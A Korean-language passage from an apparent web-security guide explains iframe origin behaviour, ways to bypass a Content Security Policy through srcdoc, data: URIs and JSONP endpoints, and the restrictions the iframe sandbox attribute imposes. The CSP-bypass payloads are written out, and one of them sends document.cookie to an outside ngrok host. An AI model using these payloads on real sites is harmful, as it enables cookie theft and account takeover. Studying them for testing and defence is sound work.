<!-- content of child.html --><script>var secret="child secret";alert(parent.secret)</script>
만약 http 서버를 통해 이전의 html에 접근한다면 (python3 -m http.server와 같은 방법), 모든 스크립트가 실행되는 것을 알 수 있을 것입니다 (CSP가 방지하지 않기 때문). 부모는 어떤 iframe 내부의 secret 변수에 접근할 수 없을 것이며 오직 if2 및 if3이라는 동일 사이트로 간주되는 iframes만이 원래 창의 secret에 접근할 수 있습니다.
if4가 null origin을 가지고 있는 것에 주목하세요.
CSP가 있는 Iframes
다음 우회 방법에서 주목해야 할 점은, iframed 페이지로의 응답에 JS 실행을 방지하는 CSP 헤더가 포함되어 있지 않다는 것입니다.
script-src의 self 값은 data: 프로토콜이나 srcdoc 속성을 사용한 JS 코드 실행을 허용하지 않을 것입니다.
그러나 CSP의 none 값조차도 src 속성에 URL(전체 또는 경로만)을 넣는 iframes의 실행을 허용할 것입니다.
따라서 페이지의 CSP를 우회하는 것이 가능합니다.
<!-- This one requires the data: scheme to be allowed --><iframesrcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe><!-- This one injects JS in a jsonp endppoint --><iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Iframe sandbox
sandbox 속성을 사용하여 iframe 내의 콘텐츠에 추가 제한을 적용할 수 있습니다. 기본적으로 이 속성은 적용되지 않으며, 제한이 없는 상태입니다.
sandbox 속성을 사용하면 다음과 같은 제한이 부과됩니다:
콘텐츠는 고유한 소스에서 비롯된 것으로 처리됩니다.
양식 제출 시도가 차단됩니다.
스크립트 실행이 금지됩니다.
특정 API에 대한 액세스가 비활성화됩니다.
링크가 다른 브라우징 컨텍스트와 상호 작용하는 것을 방지합니다.
<embed>, <object>, <applet> 또는 유사한 태그를 통한 플러그인 사용이 금지됩니다.
콘텐츠 자체에 의한 최상위 브라우징 컨텍스트의 탐색이 방지됩니다.
비디오 재생이나 양식 컨트롤의 자동 초점 설정과 같은 기능이 차단됩니다.
sandbox 속성의 값은 모든 상기 제한을 적용하려면 비워둘 수 있습니다(sandbox=""). 또는 특정 제한에서 iframe을 제외하도록 지정된 값의 공백으로 구분된 목록으로 설정할 수도 있습니다.